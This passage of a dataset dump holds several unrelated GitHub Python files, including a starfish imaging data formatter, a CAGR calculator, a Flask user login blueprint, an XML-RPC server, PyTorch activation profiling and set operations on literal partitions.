f\"T{fov_id+1:05}C{ch_label+1:02}Z{zplane_label+1:03}.tif\"\n else:\n filename = f\"alignedT{fov_id+1:05}C{ch_label+1:02}Z{zplane_label+1:03}.tif\"\n file_path = os.path.join(self.input_dir, subdir, round_dir, filename)\n return BaristaSeqTile(file_path)\n\n\nclass BaristaSeqNucleiTileFetcher(TileFetcher):\n def __init__(self, input_dir, aux_type) -> None:\n self.input_dir = input_dir\n\n def get_tile(self, fov_id: int, hyb: int, ch_label: int, zplane_label: int) -> FetchedTile:\n subdir = \"nissl\"\n filename = f\"T00001C05Z{zplane_label+1:03}.tif\"\n file_path = os.path.join(self.input_dir, subdir, filename)\n\n return BaristaSeqTile(file_path)\n\n\n@click.command()\n@click.option(\"--input-dir\", type=str, required=True, help=\"input directory containing images\")\n@click.option(\"--output-dir\", type=str, required=True, help=\"output directory for formatted data\")\ndef format_data(input_dir, output_dir) -> None:\n \"\"\"Format a BaristaSeq Tile\n\n Parameters\n ----------\n input_dir : str\n Input directory containing data. Example data for a single FoV can be downloaded from\n s3://spacetx.starfish.data.public/browse/raw/20181231/barista-seq-mouse-cortex-cropped\n output_dir : str\n Output directory containing formatted data in SpaceTx format. Example output data can be\n downloaded from\n https://d2nhj9g34unfro.cloudfront.net/browse/formatted/20181028/ \\\n BaristaSeq/cropped_formatted/experiment.json\"\n \"\"\"\n\n num_fovs = 1\n\n primary_image_dimensions: Mapping[Union[str, Axes], int] = {\n Axes.ROUND: 3,\n Axes.CH: 4,\n Axes.ZPLANE: 17,\n }\n\n aux_name_to_dimensions: Mapping[str, Mapping[Union[str, Axes], int]] = {\n \"nuclei\": {\n Axes.ROUND: 1,\n Axes.CH: 1,\n Axes.ZPLANE: 17,\n }\n }\n\n os.makedirs(output_dir, exist_ok=True)\n\n write_experiment_json(\n path=output_dir,\n fov_count=num_fovs,\n primary_image_dimensions=primary_image_dimensions,\n aux_name_to_dimensions=aux_name_to_dimensions,\n primary_tile_fetcher=BaristaSeqTileFetcher(input_dir),\n aux_tile_fetcher={\n \"nuclei\": BaristaSeqNucleiTileFetcher(input_dir, \"nuclei\"),\n },\n tile_format=ImageFormat.TIFF,\n default_shape=DEFAULT_TILE_SHAPE\n )\n\n shutil.copyfile(\n src=os.path.join(input_dir, \"codebook.json\"),\n dst=os.path.join(output_dir, \"codebook.json\")\n )\n\n\nif __name__ == \"__main__\":\n format_data()\n","repo_name":"spacetx/starfish","sub_path":"examples/data_formatting_examples/format_baristaseq.py","file_name":"format_baristaseq.py","file_ext":"py","file_size_in_byte":5599,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"37"} +{"seq_id":"40862316760","text":"print('Calculating CAGR...')\nimport os\nimport re\n\nimport pandas as pd\nfrom adhoc_tools import AdhocTools\n\nclass CAGR:\n \"\"\"\n Class for calculating Compound Annual Growth Rate (CAGR) of a DataFrame.\n\n Inputs:\n - data_df (pd.DataFrame): DataFrame with date, symbol, and annual return columns\n - date_column (str): Name of the column in the DataFrame representing dates\n - return_column (str): Name of the column in the DataFrame representing annual returns\n - symbol_column (str): Name of the column in the DataFrame representing symbols\n\n Returns CAGR values in decimal format. Dates should be on a yearly basis.\n\n Output:\n - DataFrame with symbol and cagr columns\n \"\"\"\n\n def __init__(self, data_df, date_column, return_column, symbol_column):\n self.data_df = data_df\n self.date_column = date_column\n self.return_column = return_column\n self.symbol_column = symbol_column\n\n def count_years_each_symbol(self):\n \"\"\"\n Count the number of years for each symbol in the DataFrame.\n\n Returns:\n - df (pd.DataFrame): DataFrame with symbol and num_years columns\n \"\"\"\n df = self.data_df\n df = df.groupby(self.symbol_column).count().reset_index()\n df = df.rename(columns={self.date_column: 'num_years'})\n df = df[[self.symbol_column, 'num_years']]\n return df\n \n def calculate_linked_returns(self):\n \"\"\"\n Calculate the linked returns for each symbol in the DataFrame.\n\n Returns:\n - df (pd.DataFrame): DataFrame with symbol and linked returns columns\n \"\"\"\n df = self.data_df\n df[self.return_column] = 1 + (df[self.return_column] / 100)\n df = df.groupby(self.symbol_column).apply(lambda x: x.sort_values(self.date_column, ascending=True)).reset_index(drop=True)\n df[self.return_column] = df.groupby(self.symbol_column)[self.return_column].cumprod()\n df = df.groupby(self.symbol_column).tail(1)\n df[self.return_column] = df[self.return_column] - 1\n\n return df\n \n def calculate_cagr(self):\n \"\"\"\n Calculate the CAGR for each symbol in the DataFrame.\n\n Returns:\n - df (pd.DataFrame): DataFrame with symbol, num_years, and cagr columns\n \"\"\"\n df_returns = self.calculate_linked_returns()\n df_years = self.count_years_each_symbol()\n\n df = pd.merge(df_returns, df_years, on=self.symbol_column, how='left')\n df['cagr'] = (df[self.return_column] ** (1 / df['num_years'])) - 1\n \n return df\n \n def final_df(self):\n \"\"\"\n Generate the final DataFrame with symbol and cagr columns.\n\n Returns:\n - df (pd.DataFrame): DataFrame with symbol and cagr columns\n \"\"\"\n df = self.calculate_cagr()\n df = df[[self.symbol_column, 'cagr', 'annual_return']]\n return df\n\n\nif __name__ == \"__main__\":\n from adhoc_tools import AdhocTools\n\n path = os.path.abspath(os.path.join(\n __file__, '..', '..', '..', 'data', 'annual_historical_returns(sym_ticker,return).xlsx'))\n \n df = AdhocTools(path).read_data()\n df['year'] = pd.to_datetime(df['year'])\n df = df.rename(columns={'year': 'date'})\n df = df.rename(columns={'cum_pct_ch_year': 'annual_return'})\n df = df[['date', 'symbol', 'annual_return']]\n # cols_needed_for_output = ['symbol', 'cagr', 'annual_return']\n \n date_column = 'date'\n symbol_column = 'symbol'\n return_column = 'annual_return'\n \n \n df = CAGR(df, date_column, return_column, symbol_column).final_df()\n print(df.head(100).to_markdown())\n","repo_name":"QuizeCapital/Quantitative_Fundamental_Research","sub_path":"src/tools/cagr.py","file_name":"cagr.py","file_ext":"py","file_size_in_byte":3634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72653676587","text":"import random\n\ndef NOD(a,b):\n while a > 0 and b > 0:\n if a > b: a%= b;\n else: b%= a;\n return a + b;\n\ndef sum(arr, n):\n summa = 0;\n\n for i in range(n):\n summa += arr[i];\n return summa;\n\ndef checkPrime(value):\n if value > 1:\n if value % 2 == 0:\n return value == 2\n d = 3\n while d * d <= value and value % d != 0:\n d += 2\n return d * d > value\n else: return False\n\ndef toBinary(str):\n str1 = \" \".join(f\"{ord(i):08b}\" for i in str)\n return str1;\n\ndef egcd(a, b):\n if a == 0: return (b, 0, 1)\n else:\n g, x, y = egcd(b % a, a)\n return (g, y - (b // a) * x, x)\n\ndef mulinv(b, n):\n g, x, _ = egcd(b, n)\n if g == 1:\n return x % n\n\ndef nextPrime(value):\n if value == 1: return 2;\n if value == 2: return 3;\n if checkPrime(value) == 1: value = value + 1;\n i = value;\n while True:\n if checkPrime(i):\n return i;\n i = i + 1;\n\ndef superSequence(n):\n arr = [0] * n\n arr[0] = 1\n chislo = 10\n for i in range(1, n):\n arr[i] = random.randrange(sum(arr, n) + 1, chislo)\n chislo = chislo + sum(arr, n)\n return arr","repo_name":"Ldpw0xi1m1d/lab3","sub_path":"bonusfunction.py","file_name":"bonusfunction.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6595463931","text":"# RA, 2021-04-14\n\nfrom bugs import *\nfrom twig import log\n\nfrom sklearn.manifold import TSNE\n\nout_dir = mkdir(Path(__file__).with_suffix(''))\n\n# df_expr = pd.DataFrame(np.random.RandomState(0).random(size=(30, 5)))\n\nfrom z_sources import df_expr, df_meta, df_mrkr\n\n# # DEBUG -- subset samples\n# df_expr = df_expr.sample(n=100, random_state=43)\n\n# # Subset to marker genes\n# df_expr = df_expr[df_mrkr.index]\n\n# Order samples\ndf_meta = df_meta.reindex(df_expr.index)\n\nstyles = pd.DataFrame(index=['marker', 'c'], data={\n 'PC': ('s', 'red'),\n 'vSMC': ('s', 'green'),\n 'aaSMC': ('o', 'green'),\n 'aSMC': ('^', 'green'),\n 'MG': ('s', 'gray'),\n 'FB1': ('^', 'purple'),\n 'FB2': ('s', 'violet'),\n 'OL': ('s', 'brown'),\n 'EC1': ('s', 'cyan'),\n 'EC2': ('o', 'cyan'),\n 'EC3': ('^', 'cyan'),\n 'vEC': ('s', 'blue'),\n 'capilEC': ('o', 'blue'),\n 'aEC': ('^', 'blue'),\n 'AC': ('s', 'orange'),\n})\n\n\ndef cluster(df_expr):\n df = pd.DataFrame(index=df_expr.index, columns=[\"x\", \"y\"], data=TSNE(random_state=43).fit_transform(df_expr))\n df = df.assign(celltype=list(df_meta.reindex(df.index).celltype))\n return df\n\n\n# Full set of samples\n\nwith Plox() as px:\n for (label, X) in cluster(df_expr).groupby(by='celltype'):\n px.a.scatter(X.x, X.y, s=2, alpha=0.7, label=label, **styles[label].to_dict())\n px.a.legend(loc='lower right', fontsize=4)\n px.a.axis('off')\n px.f.savefig(out_dir / \"tsne.png\")\n\n# Subset to fibroblasts\n\nwith Plox() as px:\n for (label, X) in cluster(df_expr.loc[df_meta[df_meta.celltype.isin(['FB1', 'FB2'])].index]).groupby(by='celltype'):\n px.a.scatter(X.x, X.y, s=2, alpha=0.7, label=label, **styles[label].to_dict())\n px.a.legend(loc='lower right', fontsize=4)\n px.a.axis('off')\n px.f.savefig(out_dir / \"tsne_fb_only.png\")\n","repo_name":"numpde/als1","sub_path":"code/data/Betsholtz-2018/b_tsne.py","file_name":"b_tsne.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"36072868696","text":"import torch\nimport torch.nn as nn\n\nimport pickle\nimport numpy as np\n\nimport os\n\nranges = ['1', '10', '10(-1)', '10(-2)', '10(-3)', 'negat10', 'posit10']\n# ranges = ['-1~-0.3', '-0.3~0.3', '0.3~1']\n#ops = ['softmax', 'GeLU', 'tanh', 'swish']\n\ndevice_name = 'm1'\nfor range in ranges:\n print(f\"range : {range}\")\n with open(f'/Users/bang-kyoungrok/Desktop/HYU/BDSL/operation_profiling/tensors/input_tensor/input_tensor_{range}.pickle', 'rb') as fr:\n input = pickle.load(fr)\n print(input)\n path = f'/Users/bang-kyoungrok/Desktop/HYU/BDSL/operation_profiling/tensors/{device_name}_output/{range}'\n \n if not os.path.isdir(path):\n os.makedirs(path)\n \n\n # to tensor \n mps_device = torch.device('mps')\n input = torch.Tensor(input)\n input = input.to(mps_device)\n \n \n # softmax\n model = nn.Softmax(dim=2)\n model.to(mps_device)\n softmax_output = model(input)\n softmax_output = softmax_output.to('cpu')\n\n with open(os.path.join(path,f'{device_name}_torch_softmax_output.pickle'), 'wb') as fw:\n pickle.dump(softmax_output, fw)\n \n\n #GeLU\n model = nn.GELU()\n model.to(mps_device)\n GeLU_output = model(input)\n GeLU_output = GeLU_output.to('cpu')\n\n with open(os.path.join(path,f'{device_name}_torch_GeLU_output.pickle'), 'wb') as fw:\n pickle.dump(GeLU_output, fw)\n \n \n #tanh\n tanh_output = torch.tanh(input)\n tanh_output = tanh_output.to('cpu')\n with open(os.path.join(path,f'{device_name}_torch_tanh_output.pickle'), 'wb') as fw:\n pickle.dump(tanh_output, fw)\n \n\n #swish(SiLU)\n model = nn.SiLU()\n model.to(mps_device)\n swish_output = model(input)\n swish_output = swish_output.to('cpu')\n\n with open(os.path.join(path,f'{device_name}_torch_swish_output.pickle'), 'wb') as fw:\n pickle.dump(swish_output, fw)","repo_name":"bangkyoungrok/operation_profiling","sub_path":"models/torch_m1.py","file_name":"torch_m1.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36550553421","text":"def listContacts(dic):\n \"\"\"Print the contents of the dictionary as a table, one item per row.\"\"\"\n print(\"{:>12s} : {:^30} : {}\".format(\"Numero\", \"Nome\", \"Morada\"))\n for num in dic:\n contactData = dic[num]\n print(\"{:>12s} : {:^30} : {}\".format(num, contactData[0], contactData[1]))\n\n\ndef filterPartName(contacts, partName):\n \"\"\"Returns a new dict with the contacts whose names contain partName.\"\"\"\n searchResults = {}\n for (number, data) in contacts.items():\n if partName in data[0]:\n searchResults[number] = data\n return searchResults\n\n\ndef menu():\n \"\"\"Shows the menu and gets user option.\"\"\"\n print()\n print(\"(L)istar contactos\")\n print(\"(A)dicionar contacto\")\n print(\"(R)emover contacto\")\n print(\"Procurar (N)úmero\")\n print(\"Procurar (P)arte do nome\")\n print(\"(T)erminar\")\n op = input(\"opção? \").upper() # converts to uppercase...\n return op\n\n\ndef main():\n \"\"\"This is the main function containing the main loop.\"\"\"\n\n contactos = {\n \"234370200\": (\"Universidade de Aveiro\", \"Santiago, Aveiro\"),\n \"727392822\": (\"Cristiano Aveiro\", \"Leiria\"),\n \"387719992\": (\"Maria Matos\", \"Lisboa\"),\n \"887555987\": (\"Marta Maia\", \"Coimbra\"),\n \"876111333\": (\"Carlos Martins\", \"Porto\"),\n \"433162999\": (\"Ana Bacalhau\", \"Faro\"),\n }\n\n op = \"\"\n while op != \"T\":\n op = menu()\n if op == \"T\":\n print(\"Fim\")\n elif op == \"L\":\n print(\"Contactos:\")\n listContacts(contactos)\n elif op == \"A\":\n number = input(\"número: \")\n name = input(\"nome: \")\n morada = input(\"morada: \")\n contactos[number] = (name, morada)\n elif op == \"R\":\n number = input(\"número: \")\n del contactos[number]\n elif op == \"N\":\n number = input(\"número: \")\n if number in contactos:\n listContacts({number: contactos[number]})\n else:\n print(number)\n elif op == \"P\":\n partName = input(\"nome parcial: \")\n results = filterPartName(contactos, partName)\n listContacts(results)\n else:\n print(\"Não implementado!\")\n\n\nmain()\n","repo_name":"JCapucho/universidade","sub_path":"1ano1/FP/aula07/res/mTelefone.py","file_name":"mTelefone.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22330403731","text":"from flask import Blueprint, render_template, redirect, session, request, url_for, abort\nimport bcrypt\nfrom user.models import User\nfrom user.forms import RegisterForm, LoginForm, EditForm\n\nuser_app = Blueprint('user_app', __name__) # To call this module\n\n@user_app.route('/register', methods=('GET', 'POST'))\ndef register():\n form = RegisterForm()\n if form.validate_on_submit():\n salt = bcrypt.gensalt()\n hashed_password = bcrypt.hashpw(form.password.data.encode('utf-8'), salt)\n user = User(\n username=form.username.data,\n password=hashed_password,\n email=form.email.data,\n firstname=form.firstname.data,\n lastname=form.lastname.data\n )\n user.save()\n return \"User registered\"\n\n return render_template('user/register.html', form=form)\n\n@user_app.route('/login', methods=('GET', 'POST'))\ndef login():\n form = LoginForm()\n error = None\n\n if request.method == 'GET' and request.args.get('next'):\n session['next'] = request.args.get('next')\n\n if form.validate_on_submit():\n user = User.objects.filter(username=form.username.data).first()\n if user:\n user_password = user.password.encode('utf-8')\n if bcrypt.hashpw(form.password.data.encode('utf-8'), user_password) == user_password:\n session['username'] = form.username.data\n if 'next' in session:\n next = session.get('next')\n session.pop('next')\n return redirect(next)\n else:\n return 'User Logged In'\n else:\n user = None\n if not user:\n error = 'Incorrect Credentials'\n return render_template('user/login.html', form=form, error=error)\n\n@user_app.route('/logout', methods=('GET', 'POST'))\ndef logout():\n session.pop('username')\n return redirect(url_for('user_app.login'))\n\n@user_app.route('/', methods=('GET', 'POST'))\ndef profile(username):\n edit_profile = False\n user = User.objects.filter(username=username).first()\n if session.get('username') and user.username == session.get('username'):\n edit_profile = True\n if user:\n return render_template('user/profile.html', user=user, edit_profile=edit_profile)\n else:\n abort(404)\n\n@user_app.route('/edit', methods=('GET', 'POST'))\ndef edit():\n error = None\n message = None\n user = User.objects.filter(username=session.get('username')).first()\n if user:\n form = EditForm(obj=user)\n if form.validate_on_submit():\n if user.username != form.username.data:\n if User.objects.filter(username=form.username.data.lower()).first():\n error = \"Username already exists\"\n else:\n session['username'] = form.username.data.lower()\n form.username.data = form.username.data.lower()\n if user.email != form.email.data:\n if User.objects.filter(email=form.email.data.lower()).first():\n error = \"Email already exists\"\n else:\n form.email.data = form.email.data.lower()\n if not error:\n form.populate_obj(user)\n user.save()\n message = \"Profile updated\"\n return render_template(\"user/edit.html\", form=form, error=error, message=message)\n else:\n abort(404)\n","repo_name":"shubhamraj2202/flaskbook","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31242793471","text":"# encoding:utf-8\nimport json\nimport re\nimport traceback\nfrom http import HTTPStatus\nfrom xmlrpc.server import SimpleXMLRPCServer\nfrom xmlrpc.server import SimpleXMLRPCRequestHandler\nfrom Utils.log_utils import logger\n\n\n\nclass A:\n a = 'dfewf'\n def aa(self,name):\n return '哈哈,%s' % name\n\n\n\nclass RequestHandler(SimpleXMLRPCRequestHandler):\n def log_request(self, code='-', size='-'):\n \"\"\"Selectively log an accepted request.\"\"\"\n if self.server.logRequests:\n if isinstance(code, HTTPStatus):\n code = code.value\n logger.info('\"%s\" %s %s from %s',\n self.requestline, str(code), str(size), self.client_address[0])\n\n\n# Create server\nimport sys\n\n# server = SimpleXMLRPCServer((\"0.0.0.0\", 9080))\nserver = SimpleXMLRPCServer((\"0.0.0.0\", 9080), requestHandler=RequestHandler)\nserver.register_introspection_functions()\n\n\n\ndef to_list(method_with_params_list):\n return list(run(method_with_params_list))\n\n\nregister_list = {\n 'A': A,\n 'ss':'ss'\n}\n\ndef run(method_with_params_list):\n '''\n 代理方法,需要在全局维护一个registest_list\n :param method_with_params_list:\n :return:\n '''\n def do_chain(method, params_list, current_step):\n method_name = method.replace('()', '')\n # 判断有没有这属性\n if not hasattr(current_step, method_name):\n raise Exception('{0}没有属性{1}'.format(str(current_step), method_name))\n\n if re.findall(r'\\(\\)', method): # 是方法\n this_params = params_list.pop(0)\n this_args = this_params['args']\n this_kwargs = this_params['kwargs']\n current_step = getattr(current_step, method_name)(*this_args, **this_kwargs)\n else:\n current_step = getattr(current_step, method_name)\n return current_step\n\n method = method_with_params_list[0]\n params_list = method_with_params_list[1]\n try:\n current_step = None\n logger.info('处理 {0}'.format(method))\n first_method = method.split('.')[0]\n first_method_name = first_method.replace('()', '')\n # 判断是否已经注册该方法/类\n if not first_method_name in register_list:\n raise Exception('类/方法%s没有注册' % first_method_name)\n else:\n first_registed_method_or_obj = register_list[first_method_name]\n\n if re.findall(r'\\(\\)', first_method): # 是方法\n this_params = params_list.pop(0)\n this_args = this_params['args']\n this_kwargs = this_params['kwargs']\n current_step = first_registed_method_or_obj(*this_args, **this_kwargs)\n else: # 不是方法\n current_step = first_registed_method_or_obj\n\n for m in method.split('.')[1:]:\n current_step = do_chain(m, params_list, current_step)\n\n return current_step\n except Exception as e:\n logger.error('{0} -------------- {1}'.format(method, traceback.format_exc()))\n raise e\n\n\nserver.register_function(to_list)\nserver.register_function(run)\nserver.register_multicall_functions()\n\ntry:\n server.serve_forever()\nexcept KeyboardInterrupt:\n print(\"\\nKeyboard interrupt received, exiting.\")\n server.server_close()\n sys.exit(0)\n\n# if __name__==\"__main__\":\n# print(ExampleService().currentTime().getCurrentTime())\n","repo_name":"ccw33/Fanqaing","sub_path":"test/test_rpc.py","file_name":"test_rpc.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70927484909","text":"\n\n\nfrom literal import literal\nimport itertools\n\n\n# lp1 is a subset of lp2\n\ndef __simplified(lp_list):\n\n\treturn [lp for lp in lp_list if lp is not None]\n\n\n################################################################################################\n\n\n\ndef __interpret_lp(pre_lp):\n\n\tlp = literal.Literal_Partition(list())\t\n\n\tfor elem in pre_lp:\n\t\tif isinstance(elem, literal.Literal_EQC):\n\t\t\tlp.add_eqc(elem)\n\t\telif isinstance(elem, list):\n\t\t\tfor m in elem:\n\t\t\t\tif isinstance(m, literal.Literal_EQC):\n\t\t\t\t\tlp.add_eqc(m)\n\t\t\t\telse:\n\t\t\t\t\tassert isinstance(m, tuple)\n\t\t\t\t\tsym, p1, p2 = m\n\t\t\t\t\tif sym == \"!=\":\n\t\t\t\t\t\tlp.add_nes([(p1,p2)])\n\t\t\t\t\telse:\n\t\t\t\t\t\tassert sym == \"=\"\n\t\t\t\t\t\tlp.add_es([(p1,p2)])\n\t\telse:\n\t\t\tassert isinstance(elem, tuple)\n\t\t\tsym, p1, p2 = elem\n\t\t\tif sym == \"!=\":\n\t\t\t\tlp.add_nes([(p1,p2)])\n\t\t\telse:\n\t\t\t\tassert sym == \"=\"\n\t\t\t\tlp.add_es([(p1,p2)])\n\n\treturn lp\n\n\n\ndef __interpret(lp1, lp2, pre_lp_list):\n\n\tlp_list = list()\n\tfor pre_lp in itertools.product(*pre_lp_list):\n\n\t\tlp = __interpret_lp(pre_lp)\n\n\t\t## we really need to add lp2's equal predicates and un-equal predicates ??\n\t\tlp.add_es(lp1.e_parts)\n\t\t#lp.add_es(lp2.e_parts)\n\t\tlp.add_nes(lp1.ne_parts)\n\t\t#lp.add_nes(lp2.ne_parts)\n\n\t\tlp = lp.simplified()\n\t\tif lp is not None:\n\t\t\tlp_list.append(lp)\n\n\treturn lp_list\n\n\n################################################################################################\n\ndef __add_paras_product_neq(eqc1, eqc2, mlist):\n\n\tparas_set1 = eqc1.paras_set\n\tparas_set2 = eqc2.paras_set\n\n\t#assert len(paras_set1) == len(paras_set2\n\tfor paras1, paras2 in itertools.product(paras_set1, paras_set2):\n\t\tmlist.append([ (\"!=\", p1, p2) for p1, p2 in zip(paras1, paras2)])\n\n\n\n\ndef __add_neq_constraint(lp1, lp2, pre_lp_list):\n\n\tfor eqc1 in lp1.eqc_list:\n\t\tfor eqc2 in lp2.eqc_list:\n\t\t\tif eqc1.is_conflictive(eqc2):\n\t\t\t\t__add_paras_product_neq(eqc1, eqc2, pre_lp_list)\n\t\t\t\tbreak\n\n\n################################################################################################\n\n# def __paras_product_not_or(eqc1, eqc2):\n# \tparas_set1 = eqc1.paras_set\n# \tparas_set2 = eqc2.paras_set\n\n# \t#assert len(paras_set1) == len(paras_set2\n\n# \tnes_list = list()\n# \tfor para1, para2 in itertools.product(paras_set1, paras_set2):\n# \t\tnes_list.append(tuple(zip(para1, para2),))\n\n# \treturn nes_list\n\n\n\n\n\n\ndef __add_minus(eqc1, eqc2, mlist):\n\n\tparas_set1 = eqc1.paras_set\n\tparas_set2 = eqc2.paras_set\n\n\t## no paras eqc\n\tif len(paras_set1) == 0:\n\t\tassert len(paras_set2) == 0\n\t\treturn mlist\n\n\tchoice_list = [[eqc1]]\n\tfor paras2 in paras_set2:\n\t\t# recursively\n\t\tnew_choice_list = list()\n\t\tfor choice in choice_list:\n\n\t\t\t# each choice has the form: [(EQC), =/!=,... =/!=]\n\t\t\tif isinstance(choice[0], literal.Literal_EQC):\n\t\t\t\teqc = choice[0]\n\t\t\telse:\n\t\t\t\tnew_choice_list.append(choice)\n\t\t\t\tcontinue\n\n\t\t\t#### minus a literal: two possible operation\n\t\t\t#1 move a parameter from EQC\n\t\t\tfor paras1 in eqc.paras_set:\n\t\t\t\tcon_list = list()\n\t\t\t\teqc_new = eqc.remove_paras(paras1)\n\t\t\t\tif eqc_new is not None:\n\t\t\t\t\tcon_list.append(eqc_new)\n\t\t\t\tcon_list += [ (\"=\", p1, p2) for p1, p2 in zip(paras1, paras2)]\n\n\t\t\t\tcon_list += choice[1:]\n\t\t\t\tnew_choice_list.append(con_list)\n\n\t\t\t#2 move no parameter from EQC\n\t\t\tpre_list = list()\n\t\t\t############ not equal to any literal (at least one para of a literal is different) in eqc,\n\t\t\tfor paras1 in eqc.paras_set:\n\t\t\t\tpre_list.append([ (\"!=\", p1, p2) for p1, p2 in zip(paras1, paras2)])\n\n\t\t\tfor d in itertools.product(*pre_list):\n\t\t\t\tcon_list = [eqc]+list(d) + choice[1:]\n\t\t\t\tnew_choice_list.append(con_list)\n\n\t\t#for c in new_choice_list:\n\n\n\t\tchoice_list = new_choice_list\t\t\n\t\t# print(\"cccccccccc\")\n\t\t# print(choice_list)\n\t\t# print(\"cccccccccc\")\n\tmlist.append(choice_list)\n\t\t\t\n\n\ndef __minus(lp1, lp2):\n\n\tpre_lp_list = list()\n\tfor eqc1 in lp1.eqc_list:\n\t\tin_flag = False\n\t\tfor eqc2 in lp2.eqc_list:\n\t\t\tif eqc1.is_eq(eqc2):\n\t\t\t\t# print(\"EQEQEQ----\")\n\t\t\t\t# eqc1.dump()\n\t\t\t\t# eqc2.dump()\n\t\t\t\t# print(\"EQEQEQ----\")\n\t\t\t\tin_flag = True\n\t\t\t\t__add_minus(eqc1, eqc2, pre_lp_list)\n\t\t\t\tbreak\n\t\tif in_flag is False:\n\t\t\tpre_lp_list.append([eqc1])\n\treturn pre_lp_list\n\n\n################################################################################################\n\ndef minus(lp1, lp2):\n\n\tpre_lp_list = __minus(lp1, lp2)\n\tlp_list = __interpret(lp1, lp2, pre_lp_list)\n\n\treturn __simplified(lp_list)\n\n\n################################################################################################\n\ndef cir_minus(lp1, lp2):\n\t# return a list of literal_partitions\n\tpre_lp_list = list()\n\n\t__add_neq_constraint(lp1, lp2, pre_lp_list)\n\tpre_lp_list += __minus(lp1, lp2)\n\n\tlp_list = __interpret(lp1, lp2, pre_lp_list)\n\treturn __simplified(lp_list)\n\n\n################################################################################################\n\n\ndef __add_uplus(eqc1, eqc2, mlist):\n\n\tnew_eqc = eqc1.add_EQC(eqc2)\n\tmlist.append([new_eqc])\n\n\ndef __plus(lp1, lp2):\n\n\tpre_lp_list = list()\n\n\teq_list = list()\n\tfor eqc1 in lp1.eqc_list:\n\t\tis_eq = False\n\t\tfor eqc2 in lp2.eqc_list:\n\t\t\tif eqc1.is_eq(eqc2):\n\t\t\t\tis_eq = True\n\t\t\t\teq_list.append(eqc2)\n\t\t\t\t__add_uplus(eqc1, eqc2, pre_lp_list)\n\t\t\t\tbreak\n\n\t\tif is_eq is False:\n\t\t\tpre_lp_list.append([eqc1])\n\n\tfor eqc2 in lp2.eqc_list:\n\t\tif eqc2 not in eq_list:\n\t\t\tpre_lp_list.append([eqc2])\n\n\treturn pre_lp_list\n\n\n################################################################################################\n\ndef plus(lp1, lp2):\n\n\tpre_lp_list = __plus(lp1, lp2)\n\tlp_list = __interpret(lp1, lp2, pre_lp_list)\n\n\treturn __simplified(lp_list)\n\n\n################################################################################################\n\n\ndef uplus(lp1, lp2):\n\t\n\tpre_lp_list = list()\n\n\t__add_neq_constraint(lp1, lp2, pre_lp_list) \n\tpre_lp_list += __plus(lp1, lp2)\n\n\tlp_list = __interpret(lp1, lp2, pre_lp_list)\n\treturn __simplified(lp_list)\n\n\n\n\n","repo_name":"luokailun/PAAChecker","sub_path":"literal/literal_operation.py","file_name":"literal_operation.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15041246107","text":"import numpy as np\nimport matplotlib.pyplot as mp\n\n#import tensorflow as tw\n\nmatrix = np.loadtxt('data/tutorial1-2/Sharp_char.txt')\n\nx = matrix[:,[0]]\ny = matrix[:,[1]]\n\nmp.plot(x, y, 'r*')\nmp.xlabel('voltage')\nmp.ylabel('distance')\nmp.title('Sensor characteristic')\nmp.show()\n\nx, y = y, x\nmp.plot(x, y, 'r*')\nmp.xlabel('distance')\nmp.ylabel('voltage')\nmp.title('Sensor characteristic - reverse function')\nmp.show()\n","repo_name":"OleksandrBieliakov/miw","sub_path":"tutorial1-2/tutorial2.py","file_name":"tutorial2.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27932702644","text":"from termcolor import colored\nfrom tabulate import tabulate\n\nclass Estadio:\n lista_estadios = []\n def __init__(self, id, nombre, ubicacion, capacidad, restaurante, mapa):\n self.id = id\n self.nombre = nombre\n self.ubicacion = ubicacion\n self.capacidad = capacidad\n self.restaurante = restaurante\n self.mapa = mapa\n\n def buscar_id(id):\n for stadium in Estadio.lista_estadios:\n if stadium.id == id:\n return stadium\n\n def buscar_nombre(nombre):\n for stadium in Estadio.lista_estadios:\n if stadium.nombre == nombre:\n return stadium\n\n def info_restaurantes(self):\n for info in Estadio.lista_estadios[0].restaurante:\n for key, value in info.items():\n if type(value) == list:\n for name in value:\n for tipo, data in name.items():\n print(tipo, '---', data)\n else:\n print(key, '---', value)\n\n def prueba(self):\n print(type(self.id))\n print(type(self.nombre))\n print(type(self.ubicacion))\n print(type(self.capacidad))\n print(type(self.restaurante))\n print(type(self.mapa))\n \n def mostrar_mapa(self, partido, ocupados):\n def cambiar_color(asiento):\n #camb = colored(asiento, \"red\")\n camb = colored(asiento, \"white\", \"on_red\")\n return camb\n print(f\"Nombre del estadio: {self.nombre}\")\n print(f\"Partido Interesado: {partido.titulo()}\")\n fila = self.capacidad[0]\n columna = self.capacidad[1]\n table = self.mapa\n for i in range(fila):\n for j in range(columna):\n for ocup in ocupados:\n if ocup == table[i][j]:\n table[i][j] = cambiar_color(table[i][j])\n\n print(tabulate(table, tablefmt=\"grid\"))\n\n def info_estadios():\n for stadium in Estadio.lista_estadios:\n print(f\"Nombre: {stadium.nombre}\")\n print(f\"Id del Estadio: {stadium.id}\\n\")\n","repo_name":"JuanBerriz/Programacion_Algoritmo_Repo","sub_path":"Proyecto Algoritmo/Clases/estadio.py","file_name":"estadio.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71340545389","text":"import sys\nsys.path[0] = 